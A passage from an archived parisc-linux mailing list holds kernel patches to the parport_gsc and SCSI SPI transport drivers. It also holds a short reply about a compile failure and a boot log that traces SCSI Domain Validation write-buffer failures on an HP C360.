+static inline void parport_gsc_data_forward (struct parport *p)
 {
 	__parport_gsc_frob_control (p, 0x20, 0x00);
 }
@@ -155,7 +155,7 @@
 	return __parport_gsc_frob_control (p, mask, val);
 }
 
-extern __inline__ unsigned char parport_gsc_read_status(struct parport *p)
+static inline unsigned char parport_gsc_read_status(struct parport *p)
 {
 	return parport_readb (STATUS(p));
 }

--------------000106070303090805050000
Content-Type: text/plain;
 name="drivers_parport_parport_gsc.c.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="drivers_parport_parport_gsc.c.diff"

--- drivers/parport/parport_gsc.c.Orig	2004-12-29 13:11:41.371485993 +0100
+++ drivers/parport/parport_gsc.c	2004-12-29 15:32:43.742960591 +0100
@@ -87,17 +87,6 @@
 	return IRQ_HANDLED;
 }
 
-void parport_gsc_write_data(struct parport *p, unsigned char d)
-{
-	parport_writeb (d, DATA (p));
-}
-
-unsigned char parport_gsc_read_data(struct parport *p)
-{
-	unsigned char c = parport_readb (DATA (p));
-	return c;
-}
-
 void parport_gsc_write_control(struct parport *p, unsigned char d)
 {
 	const unsigned char wm = (PARPORT_CONTROL_STROBE |
@@ -151,11 +140,6 @@
 	return __parport_gsc_frob_control (p, mask, val);
 }
 
-unsigned char parport_gsc_read_status(struct parport *p)
-{
-	return parport_readb (STATUS (p));
-}
-
 void parport_gsc_disable_irq(struct parport *p)
 {
 	__parport_gsc_frob_control (p, 0x10, 0);
@@ -166,16 +150,6 @@
 	__parport_gsc_frob_control (p, 0x10, 0x10);
 }
 
-void parport_gsc_data_forward (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0);
-}
-
-void parport_gsc_data_reverse (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0x20);
-}

From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.10-pa1 compile fails
Date: Wed, 29 Dec 2004 15:45:33 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20041229154533.GA8376__13749.6743155227$1416624518$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0412291312230.15774-100000@hal.pp.fishpool.fi>
	<41D2CF5D.3020801@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624518 26551 80.91.229.3 (22 Nov 2014 02:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:38 +0000 (UTC)
Cc: =?iso-8859-1?Q?Martin-=C9ric?= Racine <q-funk@iki.fi>,
 parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 15:45:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 29 Dec 2004 16:45:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 122FB3BE53; Wed, 29 Dec 2004 08:45:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14356-01; Wed, 29 Dec 2004 08:45:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 135893BE56; Wed, 29 Dec 2004 08:45:42 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4774F3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 08:45:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13925-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 08:45:36 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 235893BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 08:45:36 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id CA6A0495696; Wed, 29 Dec 2004 08:45:35 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 7E8DB495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 08:45:35 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Cjg0z-0002b2-TZ; Wed, 29 Dec 2004 15:45:33 +0000
Content-Disposition: inline
In-Reply-To: <41D2CF5D.3020801@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25051

On Wed, Dec 29, 2004 at 03:38:05PM +0000, Joel Soete wrote:
> mmm don't have such error with gcc-3.3.5.

We had this discussion two months ago.

http://lists.debian.org/debian-hppa/2004/10/msg00021.html

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 15:28:29 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <1104355710.5298.16.camel@mulgrave>
References: <200412260504.40205.vapier@gentoo.org>
	<200412272301.03299.vapier@gentoo.org>
	<20041229034331.GS11543@parcelfarce.linux.theplanet.co.uk>
	<200412291419.36568.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624518 26553 80.91.229.3 (22 Nov 2014 02:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 21:29:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 29 Dec 2004 22:29:22 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8330F3BE51; Wed, 29 Dec 2004 14:29:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17766-08; Wed, 29 Dec 2004 14:29:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5987C3BE56; Wed, 29 Dec 2004 14:28:51 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C77E3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:28:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17766-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:28:46 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3EF3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:28:46 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 5949F495697; Wed, 29 Dec 2004 14:28:45 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP id E840B495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 14:28:44 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iBTLSaF29753; Wed, 29 Dec 2004 16:28:36 -0500
In-Reply-To: <200412291419.36568.vapier@gentoo.org>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25052

On Wed, 2004-12-29 at 14:19 -0500, Mike Frysinger wrote:
>  target0:0:9: Write Buffer failure 8000002
>  target0:0:9: Domain Validation detected failure, dropping back

So now I'd like to see what this is ... it causes your nice ultra3 drive
only to work at async speeds (about 4MB/s).  Can you apply the patch and
send back the output?

Thanks,

James

===== drivers/scsi/scsi_transport_spi.c 1.21 vs edited =====
--- 1.21/drivers/scsi/scsi_transport_spi.c	2004-12-06 14:51:40 -06:00
+++ edited/drivers/scsi/scsi_transport_spi.c	2004-12-29 15:18:12 -06:00
@@ -33,6 +33,7 @@
 #include <scsi/scsi_request.h>
 #include <scsi/scsi_transport.h>
 #include <scsi/scsi_transport_spi.h>
+#include <scsi/scsi_dbg.h>
 
 #define SPI_PRINTK(x, l, f, a...)	dev_printk(l, &(x)->dev, f , ##a)
 
@@ -440,6 +441,7 @@
 		if(sreq->sr_result || !scsi_device_online(sdev)) {
 			scsi_device_set_state(sdev, SDEV_QUIESCE);
 			SPI_PRINTK(sdev->sdev_target, KERN_ERR, "Write Buffer failure %x\n", sreq->sr_result);
+			scsi_print_req_sense("DV", sreq);
 			return 0;
 		}
 
@@ -642,6 +644,7 @@
 		SPI_PRINTK(sdev->sdev_target, KERN_INFO, "Domain Validation skipping write tests\n");
 		return;
 	}
+	SPI_PRINTK(sdev->sdev_target, KERN_INFO, "Domain Validation write buffer length %d\n", len);
 	if (len > SPI_MAX_ECHO_BUFFER_SIZE) {
 		SPI_PRINTK(sdev->sdev_target, KERN_WARNING, "Echo buffer size %d is too big, trimming to %d\n", len, SPI_MAX_ECHO_BUFFER_SIZE);
 		len = SPI_MAX_ECHO_BUFFER_SIZE;


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 16:49:29 -0500
Organization: wh0rd.org
Lines: 175
Approved: news@gmane.org
Message-ID: <200412291649.29411.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<200412291419.36568.vapier@gentoo.org>
	<1104355710.5298.16.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_pZy0BQj+IPLhKlJ"
X-Trace: ger.gmane.org 1416624519 26554 80.91.229.3 (22 Nov 2014 02:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 21:49:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 29 Dec 2004 22:49:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 585C53BE57; Wed, 29 Dec 2004 14:49:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18087-03; Wed, 29 Dec 2004 14:49:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 21E0C3BE56; Wed, 29 Dec 2004 14:49:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A1573BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:49:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17953-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:49:23 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2164B3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:49:23 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B584A495614; Wed, 29 Dec 2004 14:49:22 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id EC787495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 14:49:21 -0700 (MST)
Original-Received: (qmail 2150 invoked from network); 29 Dec 2004 16:49:14 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 29 Dec 2004 16:49:14 -0500
Original-Received: (qmail 31044 invoked from network); 29 Dec 2004 16:49:12 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 29 Dec 2004 16:49:12 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <1104355710.5298.16.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25053

--Boundary-00=_pZy0BQj+IPLhKlJ
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Wednesday 29 December 2004 04:28 pm, James Bottomley wrote:
> So now I'd like to see what this is ... it causes your nice ultra3 drive
> only to work at async speeds (about 4MB/s).

i'll be the first to admit that i dont know much about scsi ... but even 
though my drive is an ultra3, i thought my built in C360 controller didnt 
support that ?
from lspci:
SCSI storage controller: LSI Logic / Symbios Logic 53c875 (rev 04)

> Can you apply the patch and send back the output?

attached
-mike

--Boundary-00=_pZy0BQj+IPLhKlJ
Content-Type: text/plain; charset="iso-8859-1";
	name="2.6.10-pa1-scsi-debug-patch5"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-debug-patch5"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-0.
sym0:6:sync msgin: 1-3-1-c-0.
sym0:6:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:6: wide asynchronous.
sym0:6:sync msgout: 1-3-1-c-10.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9:wide msgout: 1-2-3-0.
sym0:9:wide msgin: 1-2-3-0.
sym0:9:wdtr: wide=0 chg=0.
sym0:9:sync msgin: 1-3-1-c-1f.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=1.
sym0:9: FAST-20 SCSI 20.0 MB/s ST (50.0 ns, offset 16)
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:sync msgin: 1-3-1-c-10.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=0.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
 target0:0:9: Domain Validation write buffer length 255
 target0:0:9: Write Buffer failure 8000002
Current DV: sense = 70  5
ASC=24 ASCQ= 0
Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-d-10.
sym0:9:sync msgin: 1-3-1-19-10.
sym0:9:sdtr: ofs=16 per=25 div=2 fak=0 chg=0.
sym0:9: FAST-10 WIDE SCSI 20.0 MB/s ST (100.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
Current DV: sense = 70  5
ASC=24 ASCQ= 0
Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-25-10.
sym0:9:sync msgin: 1-3-1-25-10.
sym0:9:sdtr: ofs=16 per=37 div=2 fak=2 chg=0.
sym0:9: FAST-10 WIDE SCSI 13.5 MB/s ST (148.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
Current DV: sense = 70  5
ASC=24 ASCQ= 0
Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-37-10.
sym0:9:sync msgin: 1-3-1-38-10.
sym0:9:sdtr: ofs=16 per=56 div=4 fak=1 chg=0.
sym0:9: FAST-5 WIDE SCSI 8.9 MB/s ST (224.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
Current DV: sense = 70  5
ASC=24 ASCQ= 0
Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-54-10.
sym0:9:sync msgin: 1-3-1-57-10.
sym0:9: wide asynchronous.
sym0:9:0:M_REJECT to send for : 1-3-1-57-10.
sym0:9:sync msgout: 1-3-1-c-0.
sym0:9:sync msgin: 1-3-1-c-0.
sym0:9:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
Current DV: sense = 70  5
ASC=24 ASCQ= 0
Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-7e-0.
sym0:9:sync msgin: 1-3-1-7e-0.
sym0:9:sdtr: ofs=0 per=126 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
Current DV: sense = 70  5
ASC=24 ASCQ= 0
Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-89-0.
sym0:9:sync msgin: 1-3-1-89-0.
sym0:9:sdtr: ofs=0 per=137 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
Current DV: sense = 70  5
ASC=24 ASCQ= 0
Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 target0:0:9: Domain Validation Failure, dropping back to Asynchronous
 target0:0:9: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
  Vendor: TOSHIBA   Model: CD-ROM XM-5301TA  Rev: 1895
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target1:0:2: Beginning Domain Validation
scsi1: (2:0) Asynchronous
scsi1: (2:0) Synchronous at offset 8, period 236ns
 target1:0:2: Domain Validation skipping write tests
 target1:0:2: Ending Domain Validation
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 9, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 9, lun 0,  type 0
Attached scsi generic sg2 at scsi1, channel 0, id 2, lun 0,  type 5

--Boundary-00=_pZy0BQj+IPLhKlJ
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_pZy0BQj+IPLhKlJ--



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 16:54:30 -0500
Organization: wh0rd.org
Lines: 16
Approved: news@gmane.org
Message-ID: <200412291654.31001.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<1104355710.5298.16.camel@mulgrave>
	<200412291649.29411.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624519 26555 80.91.229.3 (22 Nov 2014 02:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
